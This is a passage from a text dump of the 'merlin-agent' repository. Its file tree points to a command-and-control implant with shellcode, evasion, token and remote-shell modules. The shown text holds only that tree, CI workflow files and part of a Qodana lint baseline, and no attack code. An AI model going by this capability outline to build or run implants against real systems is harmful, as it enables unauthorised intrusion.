Repository: Ne0nd0g/merlin-agent Branch: main Commit: c4571f4dda22 Files: 127 Total size: 1.5 MB Directory structure: gitextract_varw5met/ ├── .gitattributes ├── .github/ │ └── workflows/ │ ├── build.yml │ ├── codeql.yml │ ├── qodana.yml │ ├── qodana_pr.yml │ └── release.yml ├── .gitignore ├── .qodana/ │ └── qodana.sarif.json ├── LICENSE ├── Makefile ├── README.md ├── agent/ │ ├── agent.go │ ├── memory/ │ │ └── memory.go │ ├── repository.go │ └── structs.go ├── authenticators/ │ ├── authenticaters.go │ ├── none/ │ │ └── none.go │ ├── opaque/ │ │ └── opaque.go │ └── rsa/ │ └── rsa.go ├── cli/ │ └── cli.go ├── clients/ │ ├── clients.go │ ├── http/ │ │ ├── http.go │ │ └── http_exclude.go │ ├── memory/ │ │ └── memory.go │ ├── mythic/ │ │ ├── mythic.go │ │ └── structs.go │ ├── repository.go │ ├── smb/ │ │ ├── smb.go │ │ └── smb_windows.go │ ├── tcp/ │ │ ├── tcp.go │ │ └── tcp_exclude.go │ └── udp/ │ ├── udp.go │ └── udp_exclude.go ├── commands/ │ ├── clr.go │ ├── clr_windows.go │ ├── download.go │ ├── env.go │ ├── exec.go │ ├── exec_windows.go │ ├── execute.go │ ├── ifconfig.go │ ├── ifconfig_windows.go │ ├── link.go │ ├── listener.go │ ├── memfd.go │ ├── memfd_linux.go │ ├── memory.go │ ├── memory_windows.go │ ├── modules.go │ ├── native.go │ ├── netstat.go │ ├── netstat_windows.go │ ├── os.go │ ├── os_windows.go │ ├── pipes.go │ ├── pipes_windows.go │ ├── ps.go │ ├── ps_windows.go │ ├── runas.go │ ├── runas_windows.go │ ├── shell.go │ ├── shell_darwin.go │ ├── shell_freebsd.go │ ├── shell_linux.go │ ├── shell_windows.go │ ├── shellcode.go │ ├── smb.go │ ├── smb_windows.go │ ├── ssh.go │ ├── tokens.go │ ├── tokens_windows.go │ ├── unlink.go │ ├── upload.go │ ├── uptime.go │ └── uptime_windows.go ├── core/ │ └── core.go ├── docs/ │ ├── CHANGELOG.MD │ ├── ISSUE_TEMPLATE.md │ └── PULL_REQUEST_TEMPLATE.md ├── go.mod ├── go.sum ├── http/ │ ├── http.go │ ├── http1/ │ │ ├── http1.go │ │ └── http1_exclude.go │ ├── http2/ │ │ ├── http2.go │ │ └── http2_exclude.go │ ├── http3/ │ │ ├── http3.go │ │ └── http3_exclude.go │ ├── proxy/ │ │ └── proxy.go │ ├── utls/ │ │ └── utls.go │ └── winhttp/ │ ├── winhttp_exclude.go │ └── winhttp_windows.go ├── main.go ├── os/ │ ├── os.go │ ├── os_windows.go │ └── windows/ │ ├── README.MD │ ├── api/ │ │ ├── advapi32/ │ │ │ └── advapi32.go │ │ ├── kernel32/ │ │ │ └── kernel32.go │ │ ├── ntdll/ │ │ │ └── ntdll.go │ │ └── user32/ │ │ └── user32.go │ └── pkg/ │ ├── evasion/ │ │ ├── evasion.go │ │ └── evasion_386.go │ ├── pipes/ │ │ └── pipes.go │ ├── processes/ │ │ └── processes.go │ ├── text/ │ │ └── text.go │ └── tokens/ │ └── tokens.go ├── p2p/ │ ├── memory/ │ │ └── memory.go │ ├── p2p.go │ └── repository.go ├── qodana.yaml ├── run/ │ └── run.go ├── services/ │ ├── agent/ │ │ └── agent.go │ ├── client/ │ │ └── client.go │ ├── job/ │ │ └── job.go │ ├── message/ │ │ └── message.go │ ├── p2p/ │ │ └── p2p.go │ └── services.go ├── socks/ │ └── socks.go └── transformers/ ├── encoders/ │ ├── base64/ │ │ └── base64.go │ ├── gob/ │ │ └── gob.go │ ├── hex/ │ │ └── hex.go │ └── mythic/ │ └── mythic.go ├── encrypters/ │ ├── aes/ │ │ └── aes.go │ ├── jwe/ │ │ └── jwe.go │ ├── rc4/ │ │ └── rc4.go │ └── xor/ │ └── xor.go └── transformer.go ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitattributes ================================================ *.go linguist-language=Go ================================================ FILE: .github/workflows/build.yml ================================================ # This workflow will build a golang project # For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-go name: "Merlin Agent Build & Test" on: workflow_dispatch: push: paths-ignore: - '.github/**' - 'docs/**' - '.gitattributes' - '.gitignore' - 'LICENSE' - 'README.MD' pull_request: paths-ignore: - '.github/**' - 'docs/**' - '.gitattributes' - '.gitignore' - 'LICENSE' - 'README.MD' jobs: build: name: 'Build Job' runs-on: ubuntu-latest steps: - name: Checkout Repository id: checkout uses: actions/checkout@v4 - name: Set up Go uses: actions/setup-go@v4 with: go-version: '1.21' check-latest: true - name: 'Test Merlin Agent' id: test run: 'go test ./...' - name: 'Build Merlin Agent' id: build run: 'make all' ================================================ FILE: .github/workflows/codeql.yml ================================================ # For most projects, this workflow file will not need changing; you simply need # to commit it to your repository. # # You may wish to alter this file to override the set of languages analyzed, # or to provide custom queries or build logic. # # ******** NOTE ******** # We have attempted to detect the languages in your repository. Please check # the `language` matrix defined below to confirm you have the correct set of # supported CodeQL languages. # # This is "Advanced" because it is using this codeql.yml workflow and not using GitHub's built-in "Default" CodeQL workflow name: "CodeQL Advanced" on: workflow_dispatch: push: paths-ignore: - '.github/**' - 'docs/**' - '.gitattributes' - '.gitignore' - 'go.mod' - 'go.sum' - 'LICENSE' - 'Makefile' - 'README.MD' pull_request: branches: [ "main", "dev" ] paths-ignore: - '.github/**' - 'docs/**' - '.gitattributes' - '.gitignore' - 'go.mod' - 'go.sum' - 'LICENSE' - 'Makefile' - 'README.MD' schedule: - cron: '32 7 * * 4' jobs: analyze: name: Analyze # Runner size impacts CodeQL analysis time. To learn more, please see: # - https://gh.io/recommended-hardware-resources-for-running-codeql # - https://gh.io/supported-runners-and-hardware-resources # - https://gh.io/using-larger-runners # Consider using larger runners for possible analysis time improvements. runs-on: ${{ (matrix.language == 'swift' && 'macos-latest') || 'ubuntu-latest' }} timeout-minutes: ${{ (matrix.language == 'swift' && 120) || 360 }} permissions: actions: read contents: read security-events: write strategy: fail-fast: false matrix: language: [ 'go' ] # CodeQL supports [ 'c-cpp', 'csharp', 'go', 'java-kotlin', 'javascript-typescript', 'python', 'ruby', 'swift' ] # Use only 'java-kotlin' to analyze code written in Java, Kotlin or both # Use only 'javascript-typescript' to analyze code written in JavaScript, TypeScript or both # Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support steps: - name: Checkout repository uses: actions/checkout@v4 # Initializes the CodeQL tools for scanning. - name: Initialize CodeQL uses: github/codeql-action/init@v3 with: languages: ${{ matrix.language }} # If you wish to specify custom queries, you can do so here or in a config file. # By default, queries listed here will override any specified in a config file. # Prefix the list here with "+" to use these queries and those in the config file. # For more details on CodeQL's query packs, refer to: https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs # queries: security-extended,security-and-quality - name: Perform CodeQL Analysis uses: github/codeql-action/analyze@v3 with: category: "/language:${{matrix.language}}" - name: GoVulnCheck id: govulncheck uses: golang/govulncheck-action@v1 with: go-package: './...' - name: Gosec Security Scanner id: gosec uses: securego/gosec@master with: args: ./... - name: Go Report Card - Install id: goreportcard_install working-directory: /tmp run: | git clone https://github.com/gojp/goreportcard.git cd goreportcard make install go install ./cmd/goreportcard-cli - name: Go Report Card - Run id: goreportcard_run run: 'goreportcard-cli -v' # This renames the files in the ./rpc directory to *.grc.bak causing builds to fail ================================================ FILE: .github/workflows/qodana.yml ================================================ name: "Qodana: Push" on: workflow_dispatch: push: paths-ignore: - '.github/**' - '.qodana/**' - 'docs/**' - '.gitattributes' - '.gitignore' - 'Dockerfile' - 'go.mod' - 'go.sum' - 'LICENSE' - 'Makefile' - 'qodana.yaml' - 'README.MD' jobs: qodana: name: 'Qodana Job' runs-on: ubuntu-latest permissions: contents: write pull-requests: write checks: write steps: - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} # to check out the actual pull request commit, not the merge commit fetch-depth: 0 # a full history is required for pull request analysis - name: 'Qodana Scan' uses: JetBrains/qodana-action@v2023.3 env: QODANA_TOKEN: ${{ secrets.QODANA_TOKEN }} with: args: --baseline,.qodana/qodana.sarif.json ================================================ FILE: .github/workflows/qodana_pr.yml ================================================ name: "Qodana: Pull Request" on: workflow_dispatch: pull_request: paths-ignore: - '.github/**' - '.qodana/**' - 'data/**' - 'docs/**' - '.gitattributes' - '.gitignore' - '.gitmodules' - 'Dockerfile' - 'LICENSE' - 'Makefile' - 'qodana.yaml' - 'README.MD' jobs: qodana: name: 'Qodana Job' runs-on: ubuntu-latest permissions: contents: write pull-requests: write checks: write steps: - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} # to check out the actual pull request commit, not the merge commit fetch-depth: 0 # a full history is required for pull request analysis - name: 'Qodana Scan' uses: JetBrains/qodana-action@v2023.3 with: args: -l,jetbrains/qodana-go:2023.3-eap,--baseline,.qodana/qodana.sarif.json pr-mode: false ================================================ FILE: .github/workflows/release.yml ================================================ name: "Merlin Agent Release" on: workflow_dispatch: push: branches: - "main" tags: - 'v*.*.*' jobs: release: name: 'Release Job' runs-on: ubuntu-latest steps: - name: Checkout Repository id: checkout uses: actions/checkout@v4 - name: Set up Go id: setup_go uses: actions/setup-go@v4 with: go-version: '1.21' check-latest: true - name: Install 7zip id: install_7zip run: sudo apt-get install p7zip-full - name: Make Distribution id: make_distro run: make distro - name: Create Draft Release id: create_draft_release uses: ncipollo/release-action@v1 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: tag: ${{ github.ref_name }} name: ${{ github.ref_name }} draft: true prerelease: false artifactErrorsFailBuild: true artifacts: '*.7z' ================================================ FILE: .gitignore ================================================ .DS_STORE .idea/ agent/data bin ================================================ FILE: .qodana/qodana.sarif.json ================================================ { "$schema": "https://raw.githubusercontent.com/schemastore/schemastore/master/src/schemas/json/sarif-2.1.0-rtm.5.json", "version": "2.1.0", "runs": [ { "tool": { "driver": { "name": "QDGO", "fullName": "Qodana for Go", "version": "233.13017.73", "rules": [], "taxa": [ { "id": "JavaScript and TypeScript", "name": "JavaScript and TypeScript" }, { "id": "JavaScript and TypeScript/Control flow issues", "name": "Control flow issues", "relationships": [ { "target": { "id": "JavaScript and TypeScript", "index": 0, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "EditorConfig", "name": "EditorConfig" }, { "id": "Go", "name": "Go" }, { "id": "Go/Probable bugs", "name": "Probable bugs", "relationships": [ { "target": { "id": "Go", "index": 3, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "Go/Declaration redundancy", "name": "Declaration redundancy", "relationships": [ { "target": { "id": "Go", "index": 3, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "Shell script", "name": "Shell script" }, { "id": "JavaScript and TypeScript/Unit testing", "name": "Unit testing", "relationships": [ { "target": { "id": "JavaScript and TypeScript", "index": 0, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSON and JSON5", "name": "JSON and JSON5" }, { "id": "JavaScript and TypeScript/General", "name": "General", "relationships": [ { "target": { "id": "JavaScript and TypeScript", "index": 0, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JavaScript and TypeScript/Code style issues", "name": "Code style issues", "relationships": [ { "target": { "id": "JavaScript and TypeScript", "index": 0, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JavaScript and TypeScript/Potentially undesirable code constructs", "name": "Potentially undesirable code constructs", "relationships": [ { "target": { "id": "JavaScript and TypeScript", "index": 0, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JavaScript and TypeScript/Flow type checker", "name": "Flow type checker", "relationships": [ { "target": { "id": "JavaScript and TypeScript", "index": 0, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JavaScript and TypeScript/Probable bugs", "name": "Probable bugs", "relationships": [ { "target": { "id": "JavaScript and TypeScript", "index": 0, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "HTML", "name": "HTML" }, { "id": "JavaScript and TypeScript/Unused symbols", "name": "Unused symbols", "relationships": [ { "target": { "id": "JavaScript and TypeScript", "index": 0, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JavaScript and TypeScript/Data flow", "name": "Data flow", "relationships": [ { "target": { "id": "JavaScript and TypeScript", "index": 0, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JavaScript and TypeScript/Bitwise operation issues", "name": "Bitwise operation issues", "relationships": [ { "target": { "id": "JavaScript and TypeScript", "index": 0, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JavaScript and TypeScript/ES2015 migration aids", "name": "ES2015 migration aids", "relationships": [ { "target": { "id": "JavaScript and TypeScript", "index": 0, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "General", "name": "General" }, { "id": "HTML/Accessibility", "name": "Accessibility", "relationships": [ { "target": { "id": "HTML", "index": 14, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JavaScript and TypeScript/React", "name": "React", "relationships": [ { "target": { "id": "JavaScript and TypeScript", "index": 0, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JavaScript and TypeScript/TypeScript", "name": "TypeScript", "relationships": [ { "target": { "id": "JavaScript and TypeScript", "index": 0, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JavaScript and TypeScript/Validity issues", "name": "Validity issues", "relationships": [ { "target": { "id": "JavaScript and TypeScript", "index": 0, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JavaScript and TypeScript/Potentially confusing code constructs", "name": "Potentially confusing code constructs", "relationships": [ { "target": { "id": "JavaScript and TypeScript", "index": 0, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CSS", "name": "CSS" }, { "id": "CSS/Invalid elements", "name": "Invalid elements", "relationships": [ { "target": { "id": "CSS", "index": 25, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JavaScript and TypeScript/Try statement issues", "name": "Try statement issues", "relationships": [ { "target": { "id": "JavaScript and TypeScript", "index": 0, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "Structural search", "name": "Structural search" }, { "id": "JavaScript and TypeScript/Function metrics", "name": "Function metrics", "relationships": [ { "target": { "id": "JavaScript and TypeScript", "index": 0, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "Dependency analysis", "name": "Dependency analysis" }, { "id": "Go/Code style issues", "name": "Code style issues", "relationships": [ { "target": { "id": "Go", "index": 3, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "YAML", "name": "YAML" }, { "id": "XML", "name": "XML" }, { "id": "JavaScript and TypeScript/Assignment issues", "name": "Assignment issues", "relationships": [ { "target": { "id": "JavaScript and TypeScript", "index": 0, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CSS/Code style issues", "name": "Code style issues", "relationships": [ { "target": { "id": "CSS", "index": 25, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "Go/Security", "name": "Security", "relationships": [ { "target": { "id": "Go", "index": 3, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "RegExp", "name": "RegExp" }, { "id": "Go/General", "name": "General", "relationships": [ { "target": { "id": "Go", "index": 3, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JavaScript and TypeScript/Node.js", "name": "Node.js", "relationships": [ { "target": { "id": "JavaScript and TypeScript", "index": 0, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "Go Template", "name": "Go Template" }, { "id": "Go Template/General", "name": "General", "relationships": [ { "target": { "id": "Go Template", "index": 40, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JavaScript and TypeScript/Imports and dependencies", "name": "Imports and dependencies", "relationships": [ { "target": { "id": "JavaScript and TypeScript", "index": 0, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "RELAX NG", "name": "RELAX NG" }, { "id": "Code Coverage", "name": "Code Coverage" }, { "id": "CSS/Probable bugs", "name": "Probable bugs", "relationships": [ { "target": { "id": "CSS", "index": 25, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JavaScript and TypeScript/Naming conventions", "name": "Naming conventions", "relationships": [ { "target": { "id": "JavaScript and TypeScript", "index": 0, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JavaScript and TypeScript/Switch statement issues", "name": "Switch statement issues", "relationships": [ { "target": { "id": "JavaScript and TypeScript", "index": 0, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JavaScript and TypeScript/DOM issues", "name": "DOM issues", "relationships": [ { "target": { "id": "JavaScript and TypeScript", "index": 0, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JavaScript and TypeScript/Async code and promises", "name": "Async code and promises", "relationships": [ { "target": { "id": "JavaScript and TypeScript", "index": 0, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "Go/Control flow issues", "name": "Control flow issues", "relationships": [ { "target": { "id": "Go", "index": 3, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JavaScript and TypeScript/Code quality tools", "name": "Code quality tools", "relationships": [ { "target": { "id": "JavaScript and TypeScript", "index": 0, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "Proofreading", "name": "Proofreading" }, { "id": "Go modules", "name": "Go modules" }, { "id": "Go modules/Declaration redundancy", "name": "Declaration redundancy", "relationships": [ { "target": { "id": "Go modules", "index": 53, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "Security", "name": "Security" }, { "id": "CSS/Code quality tools", "name": "Code quality tools", "relationships": [ { "target": { "id": "CSS", "index": 25, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "Go modules/Dependency issues (go list -m -u)", "name": "Dependency issues (go list -m -u)", "relationships": [ { "target": { "id": "Go modules", "index": 53, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "Go modules/General", "name": "General", "relationships": [ { "target": { "id": "Go modules", "index": 53, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "Qodana", "name": "Qodana" }, { "id": "JavaScript and TypeScript/Security", "name": "Security", "relationships": [ { "target": { "id": "JavaScript and TypeScript", "index": 0, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "Internationalization", "name": "Internationalization" }, { "id": "Version control", "name": "Version control" } ], "language": "en-US", "contents": [ "localizedData", "nonLocalizedData" ], "isComprehensive": false }, "extensions": [ { "name": "JavaScript", "version": "233.13017", "rules": [ { "id": "ConstantConditionalExpressionJS", "shortDescription": { "text": "Constant conditional expression" }, "fullDescription": { "text": "Reports a conditional expression in the format 'true? result1: result2' or 'false? result1: result2. Suggests simplifying the expression.'", "markdown": "Reports a conditional expression in the format `true? result1: result2` or `false? result1: result2``.\nSuggests simplifying the expression.\n`" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "ConstantConditionalExpressionJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Control flow issues", "index": 1, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSTestFailedLine", "shortDescription": { "text": "Highlight failure line in test code" }, "fullDescription": { "text": "Reports a failed method call or an assertion in a test.", "markdown": "Reports a failed method call or an assertion in a test." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JSTestFailedLine", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Unit testing", "index": 7, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "IfStatementWithTooManyBranchesJS", "shortDescription": { "text": "'if' statement with too many branches" }, "fullDescription": { "text": "Reports an 'if' statement with too many branches. Such statements may be confusing, and often indicate inadequate levels of design abstraction. Use the field below to specify the maximum number of branches expected.", "markdown": "Reports an `if` statement with too many branches. Such statements may be confusing, and often indicate inadequate levels of design abstraction.\n\n\nUse the field below to specify the maximum number of branches expected." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "IfStatementWithTooManyBranchesJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Control flow issues", "index": 1, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSValidateJSDoc", "shortDescription": { "text": "Syntax errors and unresolved references in JSDoc" }, "fullDescription": { "text": "Reports a syntax discrepancy in a documentation comment.", "markdown": "Reports a syntax discrepancy in a documentation comment." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JSValidateJSDoc", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/General", "index": 9, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "NonBlockStatementBodyJS", "shortDescription": { "text": "Statement body without braces" }, "fullDescription": { "text": "Reports a 'if', 'while', 'for', or 'with' statements whose body is not a block statement. Using code block in statement bodies is usually safer for downstream maintenance.", "markdown": "Reports a `if`, `while`, `for`, or `with` statements whose body is not a block statement. Using code block in statement bodies is usually safer for downstream maintenance." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "NonBlockStatementBodyJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Code style issues", "index": 10, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "BreakStatementJS", "shortDescription": { "text": "'break' statement" }, "fullDescription": { "text": "Reports a 'break' statements. Ignores 'break' statements that end case blocks.", "markdown": "Reports a `break` statements. Ignores `break` statements that end case blocks." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "BreakStatementJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Potentially undesirable code constructs", "index": 11, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "FlowJSConfig", "shortDescription": { "text": "Missing .flowconfig" }, "fullDescription": { "text": "Reports a JavaScript file with a '@flow' flag that doesn't have an associated '.flowconfig' file in the project.", "markdown": "Reports a JavaScript file with a `@flow` flag that doesn't have an associated `.flowconfig` file in the project." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "FlowJSConfig", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Flow type checker", "index": 12, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSPotentiallyInvalidUsageOfClassThis", "shortDescription": { "text": "Potentially invalid reference to 'this' of a class from closure" }, "fullDescription": { "text": "Reports an attempt to reference a member of an ECMAScript class via the 'this.' qualifier in a nested function that is not a lambda. 'this' in a nested function that is not a lambda is the function's own 'this' and doesn't relate to the outer class.", "markdown": "Reports an attempt to reference a member of an ECMAScript class via the `this.` qualifier in a nested function that is not a lambda. \n`this` in a nested function that is not a lambda is the function's own `this` and doesn't relate to the outer class." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JSPotentiallyInvalidUsageOfClassThis", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Probable bugs", "index": 13, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "DebuggerStatementJS", "shortDescription": { "text": "'debugger' statement" }, "fullDescription": { "text": "Reports a 'debugger' statement used for interaction with the Javascript debuggers. Such statements should not appear in production code.", "markdown": "Reports a `debugger` statement used for interaction with the Javascript debuggers. Such statements should not appear in production code." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "DebuggerStatementJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Potentially undesirable code constructs", "index": 11, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSUnusedAssignment", "shortDescription": { "text": "Unused assignment" }, "fullDescription": { "text": "Reports a variable whose value is never used after assignment. Suggests removing the unused variable to shorten the code and to avoid redundant allocations. The following cases are reported: A variable is never read after assignment. The value of a variable is always overwritten with another assignment before the variable is read next time. The initializer of a variable is redundant (for one of the above-mentioned reasons).", "markdown": "Reports a variable whose value is never used after assignment. \nSuggests removing the unused variable to shorten the code and to avoid redundant allocations.\n\nThe following cases are reported:\n\n* A variable is never read after assignment.\n* The value of a variable is always overwritten with another assignment before the variable is read next time.\n* The initializer of a variable is redundant (for one of the above-mentioned reasons)." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JSUnusedAssignment", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Unused symbols", "index": 15, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "FlowJSError", "shortDescription": { "text": "Flow type checker" }, "fullDescription": { "text": "Reports errors from Flow.", "markdown": "Reports errors from [Flow](https://flowtype.org/)." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "FlowJSError", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Flow type checker", "index": 12, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ReuseOfLocalVariableJS", "shortDescription": { "text": "Reuse of local variable" }, "fullDescription": { "text": "Reports reusing a local variable and overwriting its value with a new value that is not related to the original variable usage. Reusing a local variable in this way may be confusing because the intended semantics of the local variable may vary with each usage. It may also cause bugs, if code changes result in values that were expected to be overwritten while they are actually live. It is good practices to keep variable lifetimes as short as possible, and not reuse local variables for the sake of brevity.", "markdown": "Reports reusing a local variable and overwriting its value with a new value that is not related to the original variable usage. Reusing a local variable in this way may be confusing because the intended semantics of the local variable may vary with each usage. It may also cause bugs, if code changes result in values that were expected to be overwritten while they are actually live. It is good practices to keep variable lifetimes as short as possible, and not reuse local variables for the sake of brevity." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "ReuseOfLocalVariableJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Data flow", "index": 16, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ShiftOutOfRangeJS", "shortDescription": { "text": "Shift operation by possibly wrong constant" }, "fullDescription": { "text": "Reports a shift operation where the second operand is a constant outside the reasonable range, for example, an integer shift operation outside the range '0..31', shifting by negative or overly large values.", "markdown": "Reports a shift operation where the second operand is a constant outside the reasonable range, for example, an integer shift operation outside the range `0..31`, shifting by negative or overly large values." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "ShiftOutOfRangeJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Bitwise operation issues", "index": 17, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSClosureCompilerSyntax", "shortDescription": { "text": "Incorrect usage of JSDoc tags" }, "fullDescription": { "text": "Reports warnings implied by Google Closure Compiler annotations including correct use of '@abstract', '@interface', and '@implements' tags.", "markdown": "Reports warnings implied by *Google Closure Compiler* annotations including correct use of `@abstract`, `@interface`, and `@implements` tags." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JSClosureCompilerSyntax", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/General", "index": 9, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "UnnecessaryContinueJS", "shortDescription": { "text": "Unnecessary 'continue' statement" }, "fullDescription": { "text": "Reports an unnecessary 'continue' statement at the end of a loop. Suggests removing such statements.", "markdown": "Reports an unnecessary `continue` statement at the end of a loop. Suggests removing such statements." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "UnnecessaryContinueJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Control flow issues", "index": 1, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ES6ConvertLetToConst", "shortDescription": { "text": "'let' is used instead of 'const'" }, "fullDescription": { "text": "Reports a 'let' declaration that can be made 'const'.", "markdown": "Reports a `let` declaration that can be made `const`. " }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "ES6ConvertLetToConst", "ideaSeverity": "INFORMATION", "qodanaSeverity": "Info" } }, "relationships": [ { "target": { "id": "JavaScript and 